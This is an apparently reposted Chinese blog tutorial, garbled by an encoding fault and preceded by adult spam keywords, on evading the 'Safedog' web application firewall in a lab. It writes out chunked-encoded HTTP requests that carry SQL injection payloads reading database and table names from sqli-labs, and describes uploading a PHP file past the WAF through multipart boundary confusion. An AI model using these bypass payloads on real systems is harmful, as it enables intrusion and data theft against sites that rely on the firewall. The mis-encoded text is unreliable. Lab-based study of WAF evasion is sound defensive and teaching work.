久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

Bypass WAF實(shí)戰(zhàn)技巧,!丐幫打狗棒法全集

 zZ華 2023-03-06 發(fā)布于廣東

目錄

0x01 前言 環(huán)境的搭建:0x02 HTTP補(bǔ)充: 分塊傳輸?shù)慕榻B: 請(qǐng)求頭Transfer-encoding: HTTP持久化連接: Content-Type介紹:waf繞過的思路: 例如:繞過安全狗的sql注入: 以sql-labs為例: 讀取數(shù)據(jù)庫(kù)名 讀取表名: 讀列名: 讀取數(shù)據(jù):繞過安全狗的文件上傳(以pikachu靶場(chǎng)為例 Content-Type中的boundary邊界混淆繞過 深入研究boundary邊界問題: boundary邊界問題fuzz: boundary邊界一致: boundary結(jié)束標(biāo)志不一致: boundary開始標(biāo)志不一致: 多個(gè)boundary: 多個(gè)boundary混淆: 發(fā)現(xiàn):對(duì)于分塊傳輸?shù)男ip:總結(jié):

0x01 前言 某狗可謂是比較好繞過的waf,,但是隨著現(xiàn)在的發(fā)展,,某狗也是越來越難繞過了,但是也不是毫無辦法,,爭(zhēng)取這篇文章給正在學(xué)習(xí)waf繞過的小白來入門一種另類的waf繞過,。某狗可謂是比較好繞...

0x01 前言

某狗可謂是比較好繞過的waf,但是隨著現(xiàn)在的發(fā)展,,某狗也是越來越難繞過了,,但是也不是毫無辦法,爭(zhēng)取這篇文章給正在學(xué)習(xí)waf繞過的小白來入門一種另類的waf繞過,。

某狗可謂是比較好繞過的waf,,但是隨著現(xiàn)在的發(fā)展,某狗也是越來越難繞過了,,但是也不是毫無辦法,,爭(zhēng)取這篇文章給正在學(xué)習(xí)waf繞過的小白來入門一種另類的waf繞過。

環(huán)境的搭建:

環(huán)境的搭建就選擇phpstudy2018+安全狗最新版(2022年10月23日前)

Tip:
(1)記得先在phpstudy的Apache的bin目錄下初始化Apache服務(wù),,一般來說,,第一次為詢問是否確認(rèn),第二次為確認(rèn)安裝(命令:httpd.exe -k install -n apache2.4 用管理員打開)
(2)上傳防護(hù)中把完整的post包過濾勾選上,。

0x02 HTTP補(bǔ)充:

分塊傳輸?shù)慕榻B:

分塊傳輸編碼是超文本傳輸協(xié)議(HTTP)中的一種數(shù)據(jù)傳輸機(jī)制,,允許HTTP由應(yīng)用服務(wù)器向客戶端發(fā)送的數(shù)據(jù)分成多個(gè)部分,在消息頭中指定 Transfer-Encoding: chunked 就表示整個(gè)response將使分塊傳輸編譯來傳輸內(nèi)容,。一個(gè)消息塊由n塊組成,,并在最后一個(gè)大小為0的塊結(jié)束。
圖片

請(qǐng)求頭Transfer-encoding:

官方文檔:

告知接收方為了可靠地傳輸報(bào)文,,已經(jīng)對(duì)其進(jìn)行了何種編碼,。

chunked編碼,使用若干個(gè)chunk串連接而成,,由一個(gè)標(biāo)明長(zhǎng)度為0的chunk表示解釋,,每個(gè)chunk分為頭部和正文兩部分,頭部?jī)?nèi)容定義了下一行傳輸內(nèi)容的個(gè)數(shù)(個(gè)數(shù)用16進(jìn)制來進(jìn)行表示)和數(shù)量(一般不寫數(shù)量,,但是為了混淆,,這里還是把數(shù)量寫上去)正文部分就是指定長(zhǎng)度的實(shí)際內(nèi)容。兩部分之間用(CRLF)來隔開,,在最后一個(gè)長(zhǎng)度為0的chunk中表示結(jié)束,。并且長(zhǎng)度中是以;作為長(zhǎng)度的結(jié)束

數(shù)據(jù)包中添加:Transfer-Encoding: chunked
數(shù)字代表下一行的字符所占位數(shù),最后需要用0獨(dú)占一行表示結(jié)束,,結(jié)尾需要兩個(gè)回車

當(dāng)設(shè)置這個(gè)Transfer-Encoding請(qǐng)求頭的時(shí)候,,會(huì)有兩個(gè)效果:

Content-length字段自動(dòng)忽略
基于長(zhǎng)久化持續(xù)推送動(dòng)態(tài)內(nèi)容(不太了解,但是第三感覺有研究?jī)?nèi)容)

圖片

HTTP持久化連接:

因?yàn)楝F(xiàn)在大多數(shù)是http1.1協(xié)議版本,,所以的話,,只在Transfer-Encoding中定義了chunked一種編碼格式,。

持久化連接:
Http請(qǐng)求是運(yùn)行在TCP連接上的,所以自然有TCP的三次握手和四次揮手,,慢啟動(dòng)的問題,,所以為了提高h(yuǎn)ttp的性能,就使用了持久化連接,。持久化連接在《計(jì)算機(jī)網(wǎng)絡(luò)》中有提及,。

在Http1.1的版本中規(guī)定了所有連接默認(rèn)都是持久化連接,除非在請(qǐng)求頭上加上Connection:close,。來關(guān)閉持久化連接,。

Content-Type介紹:

Content-Type:互聯(lián)網(wǎng)媒體類型, 也叫MIME類型,,在HTTP的協(xié)議消息頭中,,使用Content-Type來表示請(qǐng)求和響應(yīng)中的媒體數(shù)據(jù)格式標(biāo)簽,用于區(qū)分?jǐn)?shù)據(jù)類型,。
常見Content-Type的格式如下:

Content-Type: text/html;
Content-Type: application/json;charset:utf-8;
Content-Type:type/subtype ;parameter
Content-Type:application/x-www-form-urlencoded
Content-Type:multipart/form-data

重點(diǎn)介紹multipart/form-data:
當(dāng)服務(wù)器使用multipart/form-data接收POST請(qǐng)求的時(shí)候,,服務(wù)器如何知道開始位置和結(jié)束位置的呢?,?,?
其中就是用了boundary邊界來進(jìn)行操作的。
圖片

waf繞過的思路:

正常傳輸?shù)膒ayload都是可以被waf的正則匹配到的,,而進(jìn)行分塊傳輸之后的payload,,waf的正則不會(huì)進(jìn)行匹配,,而又滿足http的規(guī)則,,所以就能繞過waf。
圖片圖片

例如:

正常傳輸過程中是這樣的,。
圖片那么分塊傳輸之后,,就變成了這樣。

POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: 192.168.172.161
Content-Length: 128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.172.161
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.172.161/sqli-labs-master/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked

4
unam
1
e
1
=
4
admi
1
n
1
&
4
pass
2
wd
1
=
4
admi
1
n
1
&
4
subm
2
it
1
=
4
Subm
2
it
0

圖片

說明是可以識(shí)別分塊傳輸?shù)臇|西,,那么我們就可以構(gòu)造payload來看是否可以繞過waf,。

繞過安全狗的sql注入:

這里先解決一下繞過安全狗的方式,在常見的方式中,,我們都采用垃圾字符填充的方式來繞過安全狗,,雖然效果很好,但是較為復(fù)雜,,也容易出現(xiàn)被狗咬傷的情況,,所以為了解決這一現(xiàn)狀,小秦同學(xué)翻閱之后發(fā)現(xiàn)了分塊傳輸?shù)姆绞絹砝@過安全狗,。但是分塊傳輸目前來看只能適用于post請(qǐng)求,。get請(qǐng)求還是比較難說,。

以sql-labs為例:

在sqli-labs的第十一關(guān),我們發(fā)現(xiàn)了可以用post請(qǐng)求,。先正??纯催^濾哪些字符,這里開門見山,,直接把'union select (database()),2#,。這個(gè)東西進(jìn)行了過濾
圖片
咱們可以嘗試使用分塊傳輸?shù)姆绞絹磉M(jìn)行繞過。這里在請(qǐng)求頭中添加,。

Transfer-Encoding: chunked
這個(gè)東西,,然后進(jìn)行分塊即可。

讀取數(shù)據(jù)庫(kù)名

POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: 192.168.172.161
Content-Length: 251
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.172.161
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.172.161/sqli-labs-master/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked

1
u
4
name
1
=
1
&
2
pa
4
sswd
1
=
3
%27
2
un
1
i
2
on
1
+
2
se
1
l
2
ec
1
t
1
+
3
%28
2
da
1
t
2
ab
1
a
2
se
3
%28
3
%29
3
%29
3
%2C
1
2
3
%23
1
&
3
sub
3
mit
1
=
3
Sub
3
mit
0

圖片

讀取表名:

POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: 192.168.172.161
Content-Length: 619
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.172.161
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.172.161/sqli-labs-master/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked

1
u
2
na
1
m
1
e
1
=
1
&
2
pa
2
ss
2
wd
1
=
3
%27
1
u
2
ni
1
o
1
n
1
+
2
se
2
le
1
c
1
t
1
+
3
%28
2
se
1
l
1
e
2
ct
1
+
2
gr
2
ou
1
p
1
_
2
co
2
nc
2
at
3
%28
2
ta
2
bl
1
e
1
_
2
na
2
me
3
%29
1
+
2
fr
2
om
1
+
2
in
2
fo
1
r
3
mat
2
io
1
n
1
_
2
sc
3
hem
1
a
1
.
2
ta
2
bl
2
es
1
+
2
wh
2
er
1
e
1
+
2
ta
2
bl
1
e
1
_
2
sc
2
he
1
m
1
a
3
%3D
2
da
1
t
2
ab
3
ase
3
%28
3
%29
3
%29
3
%2C
1
2
3
%23
1
&
2
su
3
bmi
1
t
1
=
2
Su
4
bmit
0

圖片

讀列名:

圖片

讀取數(shù)據(jù):

圖片

繞過安全狗的文件上傳(以pikachu靶場(chǎng)為例

這里上面講到了分塊傳輸,,這里直接先使用分塊傳輸來進(jìn)行繞過,。這里講下計(jì)算方式,因?yàn)槲募蟼鞑幌駍ql注入那樣單行,,所以文件上傳是會(huì)有回車和空格的計(jì)算,,(一個(gè)回車和一個(gè)空格占兩個(gè)字符)。例如下圖:
圖片
紅框中的部分,,分別處于不同的行,,所以需要傳入回車,所以這部分就應(yīng)該是:
圖片
這塊先去上傳php文件為例,,可以進(jìn)行分塊傳輸?shù)臉?gòu)造,。然后上傳。
圖片
發(fā)現(xiàn)單單的分塊傳輸已經(jīng)不能繞過安全狗文件上傳的檢測(cè)了,。
圖片

Content-Type中的boundary邊界混淆繞過

因?yàn)樯厦嬷v到了Content-Type類型,,那么對(duì)于我們來說,文件上傳一定是利用了Content-Type中的multipart/form-data來進(jìn)行的文件上傳操作,,剛才講到了利用multipart/form-data必須用boundary邊界來進(jìn)行限制,,那么我們這里研究一下boundary邊界的一些問題。

深入研究boundary邊界問題:

圖片這里拿上面的邊界來做文章,,這里看到了,,當(dāng)上面定義了boundary=----WFJAFAOKAJNFKLAJ的時(shí)候我想到了兩個(gè)問題。

1.如果有兩個(gè)boundary是取前一個(gè)還是后一個(gè),?
2.boundary結(jié)束標(biāo)志必須和定義的一定相同嘛,?

下面繼續(xù)一一測(cè)試

boundary邊界問題fuzz:

boundary邊界一致:

圖片

boundary結(jié)束標(biāo)志不一致:

圖片

boundary開始標(biāo)志不一致:

圖片
上面經(jīng)過研究可以發(fā)現(xiàn)boundary結(jié)束標(biāo)志不影響判斷。

多個(gè)boundary:

圖片
圖片

所以當(dāng)定義兩個(gè)boundary的時(shí)候,,只有第一個(gè)起作用,。經(jīng)過了上面的測(cè)試發(fā)現(xiàn),我們可以通過構(gòu)造多個(gè)boundary和修改boundary結(jié)束標(biāo)志來達(dá)到混淆的效果,,這里進(jìn)行測(cè)試,。

多個(gè)boundary混淆:

圖片這里進(jìn)入uploads/1.php查看

圖片
成功繞過waf,。

發(fā)現(xiàn):

這里發(fā)現(xiàn),其他不用非得加boundary混淆,,測(cè)到boundary后面加分號(hào)就直接可以繞過安全狗來上傳成功,。
圖片

對(duì)于分塊傳輸?shù)男ip:

(1)分塊傳輸?shù)拿總€(gè)長(zhǎng)度以;結(jié)尾,所以可以構(gòu)造1;fjaojafjao這種來干擾waf
(2)分塊傳輸?shù)臅r(shí)候是不會(huì)管Content-Length的長(zhǎng)度,,所以可以通過Content-Length的長(zhǎng)度變換來繞過某些waf
(3)分塊傳輸只是適用于post請(qǐng)求,,這也是存在的弊端問題

總結(jié):

繞過waf的方式多種多樣,但是越簡(jiǎn)單的方式越需要底層的探索,,所以底層的學(xué)習(xí)是非常必要的,。希望給正在學(xué)習(xí)繞waf的小伙伴提供一些思路。而不僅限于垃圾字符填充,。

參考文獻(xiàn):

https://zhuanlan.zhihu.com/p/465948117
http://t.zoukankan.com/liujizhou-p-11802189.html
https://copyfuture.com/blogs-details/202203261638435585
用戶773616194奇安信攻防社區(qū)https://forum.butian.net/share/1982

點(diǎn)點(diǎn)贊

點(diǎn)在看

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn),。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式,、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多